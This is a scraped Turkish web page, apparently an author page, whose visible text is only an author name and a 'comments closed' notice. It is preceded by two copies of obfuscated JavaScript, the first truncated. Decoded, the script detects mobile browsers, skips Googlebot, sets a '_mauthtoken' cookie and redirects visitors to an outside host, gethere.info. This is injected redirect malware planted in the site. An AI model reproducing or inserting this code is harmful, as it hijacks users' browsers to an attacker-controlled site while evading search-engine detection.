-1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Hakkında Vecihe Özge Zeren

Yoruma kapalı.